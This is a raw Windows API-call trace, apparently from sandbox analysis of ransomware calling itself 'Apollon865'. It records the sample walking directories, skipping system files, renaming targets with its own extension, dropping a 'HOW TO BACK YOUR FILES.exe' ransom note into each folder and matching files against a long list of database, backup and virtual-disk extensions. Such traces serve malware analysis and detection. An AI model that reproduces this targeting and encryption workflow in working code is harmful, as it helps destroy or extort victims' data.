	[0061.811] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118ea0e8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x118ea0e8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1792, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="currency.html", cAlternateFileName="")) returned 1
	[0061.811] lstrcmpiW (lpString1="currency.html", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0061.811] lstrcmpiW (lpString1="currency.html", lpString2="Apollon865.txt.exe") returned 1
	[0061.811] lstrcmpiW (lpString1="currency.html", lpString2=".") returned 1
	[0061.811] lstrcmpiW (lpString1="currency.html", lpString2="..") returned 1
	[0061.811] lstrcmpiW (lpString1="currency.html", lpString2="windows") returned -1
	[0061.811] lstrcmpiW (lpString1="currency.html", lpString2="bootmgr") returned 1
	[0061.811] lstrcmpiW (lpString1="currency.html", lpString2="temp") returned -1
	[0061.811] lstrcmpiW (lpString1="currency.html", lpString2="pagefile.sys") returned -1
	[0061.811] lstrcmpiW (lpString1="currency.html", lpString2="boot") returned 1
	[0061.811] lstrcmpiW (lpString1="currency.html", lpString2="ids.txt") returned -1
	[0061.811] lstrcmpiW (lpString1="currency.html", lpString2="ntuser.dat") returned -1
	[0061.811] lstrcmpiW (lpString1="currency.html", lpString2="perflogs") returned -1
	[0061.812] lstrcmpiW (lpString1="currency.html", lpString2="MSBuild") returned -1
	[0061.812] lstrlenW (lpString="currency.html") returned 13
	[0061.812] lstrlenW (lpString="C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\en-US\\css") returned 66
	[0061.812] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="currency.html" | out: lpString1="currency.html") returned="currency.html"
	[0061.812] lstrlenW (lpString="currency.html") returned 13
	[0061.812] lstrlenW (lpString="Apollon865") returned 10
	[0061.812] lstrcmpiW (lpString1="rency.html", lpString2="Apollon865") returned 1
	[0061.812] lstrlenW (lpString=".dll") returned 4
	[0061.812] lstrcmpiW (lpString1="currency.html", lpString2=".dll") returned 1
	[0061.812] lstrlenW (lpString=".lnk") returned 4
	[0061.812] lstrcmpiW (lpString1="currency.html", lpString2=".lnk") returned 1
	[0061.812] lstrlenW (lpString=".ini") returned 4
	[0061.812] lstrcmpiW (lpString1="currency.html", lpString2=".ini") returned 1
	[0061.812] lstrlenW (lpString=".sys") returned 4
	[0061.812] lstrcmpiW (lpString1="currency.html", lpString2=".sys") returned 1
	[0061.812] lstrlenW (lpString="currency.html") returned 13
	[0061.812] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="gadget.xml" | out: lpString1="gadget.xml") returned="gadget.xml"
	[0061.812] lstrlenW (lpString="gadget.xml") returned 10
	[0061.812] lstrlenW (lpString="Apollon865") returned 10
	[0061.812] lstrlenW (lpString=".dll") returned 4
	[0061.812] lstrcmpiW (lpString1="gadget.xml", lpString2=".dll") returned 1
	[0061.812] lstrlenW (lpString=".lnk") returned 4
	[0061.812] lstrcmpiW (lpString1="gadget.xml", lpString2=".lnk") returned 1
	[0061.812] lstrlenW (lpString=".ini") returned 4
	[0061.812] lstrcmpiW (lpString1="gadget.xml", lpString2=".ini") returned 1
	[0061.812] lstrlenW (lpString=".sys") returned 4
	[0061.812] lstrcmpiW (lpString1="gadget.xml", lpString2=".sys") returned 1
	[0061.812] lstrlenW (lpString="gadget.xml") returned 10
	[0061.812] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\en-US\\gadget.xml.Apollon865") returned 84
	[0061.813] MoveFileExW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\en-US\\gadget.xml" (normalized: "c:\\program files\\windows sidebar\\gadgets\\currency.gadget\\en-us\\gadget.xml"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\en-US\\gadget.xml.Apollon865" (normalized: "c:\\program files\\windows sidebar\\gadgets\\currency.gadget\\en-us\\gadget.xml.apollon865"), dwFlags=0x1) returned 0
	[0061.813] GetLastError () returned 0x5
	[0061.813] wsprintfA (in: param_1=0x2d3d6f0, param_2="[ERROR] %S MoveFileEx error %i\r\n" | out: param_1="[ERROR] C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\en-US\\gadget.xml MoveFileEx error 5\r\n") returned 102
	[0061.813] lstrlenA (lpString="[ERROR] C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\en-US\\gadget.xml MoveFileEx error 5\r\n") returned 102
	[0061.813] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0061.813] SetFilePointer (in: hFile=0xc0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2738
	[0061.813] WriteFile (in: hFile=0xc0, lpBuffer=0x2d3d6f0*, nNumberOfBytesToWrite=0x66, lpNumberOfBytesWritten=0x2d3d2bc, lpOverlapped=0x0 | out: lpBuffer=0x2d3d6f0*, lpNumberOfBytesWritten=0x2d3d2bc*=0x66, lpOverlapped=0x0) returned 1
	[0061.814] CloseHandle (hObject=0xc0) returned 1
	[0061.814] UnmapViewOfFile (lpBaseAddress=0x0) returned 0
	[0061.814] CloseHandle (hObject=0x0) returned 0
	[0061.814] CloseHandle (hObject=0x0) returned 0
	[0061.814] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ce89a50, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x3ce89a50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0061.814] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0061.814] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23671ecb, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 1
	[0061.814] lstrcmpiW (lpString1="js", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0061.814] lstrcmpiW (lpString1="js", lpString2="Apollon865.txt.exe") returned 1
	[0061.814] lstrcmpiW (lpString1="js", lpString2=".") returned 1
	[0061.814] lstrcmpiW (lpString1="js", lpString2="..") returned 1
	[0061.814] lstrcmpiW (lpString1="js", lpString2="windows") returned -1
	[0061.814] lstrcmpiW (lpString1="js", lpString2="bootmgr") returned 1
	[0061.814] lstrcmpiW (lpString1="js", lpString2="temp") returned -1
	[0061.814] lstrcmpiW (lpString1="js", lpString2="pagefile.sys") returned -1
	[0061.814] lstrcmpiW (lpString1="js", lpString2="boot") returned 1
	[0061.814] lstrcmpiW (lpString1="js", lpString2="ids.txt") returned 1
	[0061.814] lstrcmpiW (lpString1="js", lpString2="ntuser.dat") returned -1
	[0061.814] lstrcmpiW (lpString1="js", lpString2="perflogs") returned -1
	[0061.814] lstrcmpiW (lpString1="js", lpString2="MSBuild") returned -1
	[0061.814] lstrlenW (lpString="js") returned 2
	[0061.814] lstrlenW (lpString="C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\en-US\\gadget.xml") returned 73
	[0061.814] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="js" | out: lpString1="js") returned="js"
	[0061.814] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7c08
	[0061.814] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x84) returned 0x5b90d8
	[0061.815] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7c10 | out: ListHead=0x5b76b0, ListEntry=0x5b7c10) returned 0x5b7c90
	[0061.815] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23671ecb, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 0
	[0061.815] FindClose (in: hFindFile=0x5ca2d0 | out: hFindFile=0x5ca2d0) returned 1
	[0061.815] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7c10
	[0061.815] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\en-US\\js", iMaxLength=260 | out: lpString1="C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\en-US\\js") returned="C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\en-US\\js"
	[0061.815] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b90d8 | out: hHeap=0x580000) returned 1
	[0061.815] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7c08 | out: hHeap=0x580000) returned 1
	[0061.815] lstrlenW (lpString="C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\en-US\\js") returned 65
	[0061.815] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\en-US\\js" | out: lpString1="C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\en-US\\js") returned="C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\en-US\\js"
	[0061.815] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0061.815] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\en-US\\js\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\windows sidebar\\gadgets\\currency.gadget\\en-us\\js\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0061.825] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0061.825] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\en-US\\js\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x3ceafbb0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3ceafbb0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca350
	[0061.825] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0061.825] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0061.825] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0061.825] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x3ceafbb0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3ceafbb0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0061.825] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0061.825] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0061.825] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0061.825] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0061.825] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118ea0e8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x118ea0e8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x104de, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="currency.js", cAlternateFileName="")) returned 1
	[0061.826] lstrcmpiW (lpString1="currency.js", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0061.826] lstrcmpiW (lpString1="currency.js", lpString2="Apollon865.txt.exe") returned 1
	[0061.826] lstrcmpiW (lpString1="currency.js", lpString2=".") returned 1
	[0061.826] lstrcmpiW (lpString1="currency.js", lpString2="..") returned 1
	[0061.826] lstrcmpiW (lpString1="currency.js", lpString2="windows") returned -1
	[0061.826] lstrcmpiW (lpString1="currency.js", lpString2="bootmgr") returned 1
	[0061.826] lstrcmpiW (lpString1="currency.js", lpString2="temp") returned -1
	[0061.826] lstrcmpiW (lpString1="currency.js", lpString2="pagefile.sys") returned -1
	[0061.826] lstrcmpiW (lpString1="currency.js", lpString2="boot") returned 1
	[0061.826] lstrcmpiW (lpString1="currency.js", lpString2="ids.txt") returned -1
	[0061.826] lstrcmpiW (lpString1="currency.js", lpString2="ntuser.dat") returned -1
	[0061.826] lstrcmpiW (lpString1="currency.js", lpString2="perflogs") returned -1
	[0061.826] lstrcmpiW (lpString1="currency.js", lpString2="MSBuild") returned -1
	[0061.826] lstrlenW (lpString="currency.js") returned 11
	[0061.826] lstrlenW (lpString="C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\en-US\\js\\*") returned 67
	[0061.826] lstrcpyW (in: lpString1=0x2d3e5d4, lpString2="currency.js" | out: lpString1="currency.js") returned="currency.js"
	[0061.826] lstrlenW (lpString="currency.js") returned 11
	[0061.826] lstrlenW (lpString="Apollon865") returned 10
	[0061.826] lstrcmpiW (lpString1="urrency.js", lpString2="Apollon865") returned 1
	[0061.826] lstrlenW (lpString=".dll") returned 4
	[0061.826] lstrcmpiW (lpString1="currency.js", lpString2=".dll") returned 1
	[0061.826] lstrlenW (lpString=".lnk") returned 4
	[0061.826] lstrcmpiW (lpString1="currency.js", lpString2=".lnk") returned 1
	[0061.826] lstrlenW (lpString=".ini") returned 4
	[0061.826] lstrcmpiW (lpString1="currency.js", lpString2=".ini") returned 1
	[0061.826] lstrlenW (lpString=".sys") returned 4
	[0061.826] lstrcmpiW (lpString1="currency.js", lpString2=".sys") returned 1
	[0061.826] lstrlenW (lpString="currency.js") returned 11
	[0061.826] lstrlenW (lpString="bak") returned 3
	[0061.826] lstrcmpiW (lpString1=".js", lpString2="bak") returned -1
	[0061.826] lstrlenW (lpString="ba_") returned 3
	[0061.826] lstrcmpiW (lpString1=".js", lpString2="ba_") returned -1
	[0061.826] lstrlenW (lpString="dbb") returned 3
	[0061.827] lstrcmpiW (lpString1=".js", lpString2="dbb") returned -1
	[0061.827] lstrlenW (lpString="vmdk") returned 4
	[0061.827] lstrcmpiW (lpString1="y.js", lpString2="vmdk") returned 1
	[0061.827] lstrlenW (lpString="rar") returned 3
	[0061.827] lstrcmpiW (lpString1=".js", lpString2="rar") returned -1
	[0061.827] lstrlenW (lpString="zip") returned 3
	[0061.827] lstrcmpiW (lpString1=".js", lpString2="zip") returned -1
	[0061.827] lstrlenW (lpString="tgz") returned 3
	[0061.827] lstrcmpiW (lpString1=".js", lpString2="tgz") returned -1
	[0061.827] lstrlenW (lpString="vbox") returned 4
	[0061.827] lstrcmpiW (lpString1="y.js", lpString2="vbox") returned 1
	[0061.827] lstrlenW (lpString="vdi") returned 3
	[0061.827] lstrcmpiW (lpString1=".js", lpString2="vdi") returned -1
	[0061.827] lstrlenW (lpString="vhd") returned 3
	[0061.827] lstrcmpiW (lpString1=".js", lpString2="vhd") returned -1
	[0061.827] lstrlenW (lpString="vhdx") returned 4
	[0061.827] lstrcmpiW (lpString1="y.js", lpString2="vhdx") returned 1
	[0061.827] lstrlenW (lpString="avhd") returned 4
	[0061.827] lstrcmpiW (lpString1="y.js", lpString2="avhd") returned 1
	[0061.827] lstrlenW (lpString="db") returned 2
	[0061.827] lstrcmpiW (lpString1="js", lpString2="db") returned 1
	[0061.827] lstrlenW (lpString="db2") returned 3
	[0061.827] lstrcmpiW (lpString1=".js", lpString2="db2") returned -1
	[0061.827] lstrlenW (lpString="db3") returned 3
	[0061.827] lstrcmpiW (lpString1=".js", lpString2="db3") returned -1
	[0061.827] lstrlenW (lpString="dbf") returned 3
	[0061.827] lstrcmpiW (lpString1=".js", lpString2="dbf") returned -1
	[0061.827] lstrlenW (lpString="mdf") returned 3
	[0061.827] lstrcmpiW (lpString1=".js", lpString2="mdf") returned -1
	[0061.827] lstrlenW (lpString="mdb") returned 3
	[0061.827] lstrcmpiW (lpString1=".js", lpString2="mdb") returned -1
	[0061.827] lstrlenW (lpString="sql") returned 3
	[0061.827] lstrcmpiW (lpString1=".js", lpString2="sql") returned -1
	[0061.827] lstrlenW (lpString="sqlite") returned 6
	[0061.828] lstrcmpiW (lpString1="ncy.js", lpString2="sqlite") returned -1
	[0061.828] lstrlenW (lpString="sqlite3") returned 7
	[0061.828] lstrcmpiW (lpString1="ency.js", lpString2="sqlite3") returned -1
	[0061.828] lstrlenW (lpString="sqlitedb") returned 8
	[0061.828] lstrcmpiW (lpString1="rency.js", lpString2="sqlitedb") returned -1
	[0061.828] lstrlenW (lpString="xml") returned 3
	[0061.828] lstrcmpiW (lpString1=".js", lpString2="xml") returned -1
	[0061.828] lstrlenW (lpString="$er") returned 3
	[0061.828] lstrcmpiW (lpString1=".js", lpString2="$er") returned 1
	[0061.828] lstrlenW (lpString="4dd") returned 3
	[0061.828] lstrcmpiW (lpString1=".js", lpString2="4dd") returned -1
	[0061.828] lstrlenW (lpString="4dl") returned 3
	[0061.828] lstrcmpiW (lpString1=".js", lpString2="4dl") returned -1
	[0061.828] lstrlenW (lpString="^^^") returned 3
	[0061.828] lstrcmpiW (lpString1=".js", lpString2="^^^") returned -1
	[0061.828] lstrlenW (lpString="abs") returned 3
	[0061.828] lstrcmpiW (lpString1=".js", lpString2="abs") returned -1
	[0061.828] lstrlenW (lpString="abx") returned 3
	[0061.828] lstrcmpiW (lpString1=".js", lpString2="abx") returned -1
	[0061.828] lstrlenW (lpString="accdb") returned 5
	[0061.828] lstrcmpiW (lpString1="cy.js", lpString2="accdb") returned 1
	[0061.828] lstrlenW (lpString="accdc") returned 5
	[0061.828] lstrcmpiW (lpString1="cy.js", lpString2="accdc") returned 1
	[0061.828] lstrlenW (lpString="accde") returned 5
	[0061.828] lstrcmpiW (lpString1="cy.js", lpString2="accde") returned 1
	[0061.828] lstrlenW (lpString="accdr") returned 5
	[0061.828] lstrcmpiW (lpString1="cy.js", lpString2="accdr") returned 1
	[0061.828] lstrlenW (lpString="accdt") returned 5
	[0061.828] lstrcmpiW (lpString1="cy.js", lpString2="accdt") returned 1
	[0061.828] lstrlenW (lpString="accdw") returned 5
	[0061.828] lstrcmpiW (lpString1="cy.js", lpString2="accdw") returned 1
	[0061.828] lstrlenW (lpString="accft") returned 5
	[0061.828] lstrcmpiW (lpString1="cy.js", lpString2="accft") returned 1
	[0061.828] lstrlenW (lpString="adb") returned 3
	[0061.829] lstrcmpiW (lpString1=".js", lpString2="adb") returned -1
	[0061.829] lstrlenW (lpString="adb") returned 3
	[0061.829] lstrcmpiW (lpString1=".js", lpString2="adb") returned -1
	[0061.829] lstrlenW (lpString="ade") returned 3
	[0061.829] lstrcmpiW (lpString1=".js", lpString2="ade") returned -1
	[0061.829] lstrlenW (lpString="adf") returned 3
	[0061.829] lstrcmpiW (lpString1=".js", lpString2="adf") returned -1
	[0061.829] lstrlenW (lpString="adn") returned 3
	[0061.829] lstrcmpiW (lpString1=".js", lpString2="adn") returned -1
	[0061.829] lstrlenW (lpString="adp") returned 3
	[0061.829] lstrcmpiW (lpString1=".js", lpString2="adp") returned -1
	[0061.829] lstrlenW (lpString="alf") returned 3
	[0061.829] lstrcmpiW (lpString1=".js", lpString2="alf") returned -1
	[0061.829] lstrlenW (lpString="ask") returned 3
	[0061.829] lstrcmpiW (lpString1=".js", lpString2="ask") returned -1
	[0061.829] lstrlenW (lpString="btr") returned 3
	[0061.829] lstrcmpiW (lpString1=".js", lpString2="btr") returned -1
	[0061.829] lstrlenW (lpString="cat") returned 3
	[0061.829] lstrcmpiW (lpString1=".js", lpString2="cat") returned -1
	[0061.829] lstrlenW (lpString="cdb") returned 3
	[0061.829] lstrcmpiW (lpString1=".js", lpString2="cdb") returned -1
	[0061.829] lstrlenW (lpString="ckp") returned 3
	[0061.829] lstrcmpiW (lpString1=".js", lpString2="ckp") returned -1
	[0061.829] lstrlenW (lpString="cma") returned 3
	[0061.829] lstrcmpiW (lpString1=".js", lpString2="cma") returned -1
	[0061.829] lstrlenW (lpString="cpd") returned 3
	[0061.829] lstrcmpiW (lpString1=".js", lpString2="cpd") returned -1
	[0061.829] lstrlenW (lpString="dacpac") returned 6
	[0061.829] lstrcmpiW (lpString1="ncy.js", lpString2="dacpac") returned 1
	[0061.829] lstrlenW (lpString="dad") returned 3
	[0061.829] lstrcmpiW (lpString1=".js", lpString2="dad") returned -1
	[0061.829] lstrlenW (lpString="dadiagrams") returned 10
	[0061.829] lstrcmpiW (lpString1="urrency.js", lpString2="dadiagrams") returned 1
	[0061.830] lstrlenW (lpString="daschema") returned 8
	[0061.830] lstrcmpiW (lpString1="rency.js", lpString2="daschema") returned 1
	[0061.830] lstrlenW (lpString="db-journal") returned 10
	[0061.830] lstrcmpiW (lpString1="urrency.js", lpString2="db-journal") returned 1
	[0061.830] lstrlenW (lpString="db-shm") returned 6
	[0061.830] lstrcmpiW (lpString1="ncy.js", lpString2="db-shm") returned 1
	[0061.830] lstrlenW (lpString="db-wal") returned 6
	[0061.830] lstrcmpiW (lpString1="ncy.js", lpString2="db-wal") returned 1
	[0061.830] lstrlenW (lpString="dbc") returned 3
	[0061.830] lstrcmpiW (lpString1=".js", lpString2="dbc") returned -1
	[0061.830] lstrlenW (lpString="dbs") returned 3
	[0061.830] lstrcmpiW (lpString1=".js", lpString2="dbs") returned -1
	[0061.830] lstrlenW (lpString="dbt") returned 3
	[0061.830] lstrcmpiW (lpString1=".js", lpString2="dbt") returned -1
	[0061.830] lstrlenW (lpString="dbv") returned 3
	[0061.830] lstrcmpiW (lpString1=".js", lpString2="dbv") returned -1
	[0061.830] lstrlenW (lpString="dbx") returned 3
	[0061.830] lstrcmpiW (lpString1=".js", lpString2="dbx") returned -1
	[0061.830] lstrlenW (lpString="dcb") returned 3
	[0061.830] lstrcmpiW (lpString1=".js", lpString2="dcb") returned -1
	[0061.830] lstrlenW (lpString="dct") returned 3
	[0061.830] lstrcmpiW (lpString1=".js", lpString2="dct") returned -1
	[0061.830] lstrlenW (lpString="dcx") returned 3
	[0061.830] lstrcmpiW (lpString1=".js", lpString2="dcx") returned -1
	[0061.830] lstrlenW (lpString="ddl") returned 3
	[0061.830] lstrcmpiW (lpString1=".js", lpString2="ddl") returned -1
	[0061.830] lstrlenW (lpString="dlis") returned 4
	[0061.830] lstrcmpiW (lpString1="y.js", lpString2="dlis") returned 1
	[0061.830] lstrlenW (lpString="dp1") returned 3
	[0061.830] lstrcmpiW (lpString1=".js", lpString2="dp1") returned -1
	[0061.830] lstrlenW (lpString="dqy") returned 3
	[0061.830] lstrcmpiW (lpString1=".js", lpString2="dqy") returned -1
	[0061.830] lstrlenW (lpString="dsk") returned 3
	[0061.830] lstrcmpiW (lpString1=".js", lpString2="dsk") returned -1
	[0061.830] lstrlenW (lpString="dsn") returned 3
	[0061.831] lstrcmpiW (lpString1=".js", lpString2="dsn") returned -1
	[0061.831] lstrlenW (lpString="dtsx") returned 4
	[0061.831] lstrcmpiW (lpString1="y.js", lpString2="dtsx") returned 1
	[0061.831] lstrlenW (lpString="dxl") returned 3
	[0061.831] lstrcmpiW (lpString1=".js", lpString2="dxl") returned -1
	[0061.831] lstrlenW (lpString="eco") returned 3
	[0061.831] lstrcmpiW (lpString1=".js", lpString2="eco") returned -1
	[0061.831] lstrlenW (lpString="ecx") returned 3
	[0061.831] lstrcmpiW (lpString1=".js", lpString2="ecx") returned -1
	[0061.831] lstrlenW (lpString="edb") returned 3
	[0061.831] lstrcmpiW (lpString1=".js", lpString2="edb") returned -1
	[0061.831] lstrlenW (lpString="epim") returned 4
	[0061.831] lstrcmpiW (lpString1="y.js", lpString2="epim") returned 1
	[0061.831] lstrlenW (lpString="fcd") returned 3
	[0061.831] lstrcmpiW (lpString1=".js", lpString2="fcd") returned -1
	[0061.831] lstrlenW (lpString="fdb") returned 3
	[0061.831] lstrcmpiW (lpString1=".js", lpString2="fdb") returned -1
	[0061.831] lstrlenW (lpString="fic") returned 3
	[0061.831] lstrcmpiW (lpString1=".js", lpString2="fic") returned -1
	[0061.831] lstrlenW (lpString="flexolibrary") returned 12
	[0061.831] lstrlenW (lpString="fm5") returned 3
	[0061.831] lstrcmpiW (lpString1=".js", lpString2="fm5") returned -1
	[0061.831] lstrlenW (lpString="fmp") returned 3
	[0061.831] lstrcmpiW (lpString1=".js", lpString2="fmp") returned -1
	[0061.831] lstrlenW (lpString="fmp12") returned 5
	[0061.831] lstrcmpiW (lpString1="cy.js", lpString2="fmp12") returned -1
	[0061.831] lstrlenW (lpString="fmpsl") returned 5
	[0061.831] lstrcmpiW (lpString1="cy.js", lpString2="fmpsl") returned -1
	[0061.831] lstrlenW (lpString="fol") returned 3
	[0061.831] lstrcmpiW (lpString1=".js", lpString2="fol") returned -1
	[0061.831] lstrlenW (lpString="fp3") returned 3
	[0061.831] lstrcmpiW (lpString1=".js", lpString2="fp3") returned -1
	[0061.831] lstrlenW (lpString="fp4") returned 3
	[0061.832] lstrcmpiW (lpString1=".js", lpString2="fp4") returned -1
	[0061.832] lstrlenW (lpString="fp5") returned 3
	[0061.832] lstrcmpiW (lpString1=".js", lpString2="fp5") returned -1
	[0061.832] lstrlenW (lpString="fp7") returned 3
	[0061.832] lstrcmpiW (lpString1=".js", lpString2="fp7") returned -1
	[0061.832] lstrlenW (lpString="fpt") returned 3
	[0061.832] lstrcmpiW (lpString1=".js", lpString2="fpt") returned -1
	[0061.832] lstrlenW (lpString="frm") returned 3
	[0061.832] lstrcmpiW (lpString1=".js", lpString2="frm") returned -1
	[0061.832] lstrlenW (lpString="gdb") returned 3
	[0061.832] lstrcmpiW (lpString1=".js", lpString2="gdb") returned -1
	[0061.832] lstrlenW (lpString="gdb") returned 3
	[0061.832] lstrcmpiW (lpString1=".js", lpString2="gdb") returned -1
	[0061.832] lstrlenW (lpString="grdb") returned 4
	[0061.832] lstrcmpiW (lpString1="y.js", lpString2="grdb") returned 1
	[0061.832] lstrlenW (lpString="gwi") returned 3
	[0061.832] lstrcmpiW (lpString1=".js", lpString2="gwi") returned -1
	[0061.832] lstrlenW (lpString="hdb") returned 3
	[0061.832] lstrcmpiW (lpString1=".js", lpString2="hdb") returned -1
	[0061.832] lstrlenW (lpString="his") returned 3
	[0061.832] lstrcmpiW (lpString1=".js", lpString2="his") returned -1
	[0061.832] lstrlenW (lpString="ib") returned 2
	[0061.832] lstrcmpiW (lpString1="js", lpString2="ib") returned 1
	[0061.832] lstrlenW (lpString="idb") returned 3
	[0061.832] lstrcmpiW (lpString1=".js", lpString2="idb") returned -1
	[0061.832] lstrlenW (lpString="ihx") returned 3
	[0061.832] lstrcmpiW (lpString1=".js", lpString2="ihx") returned -1
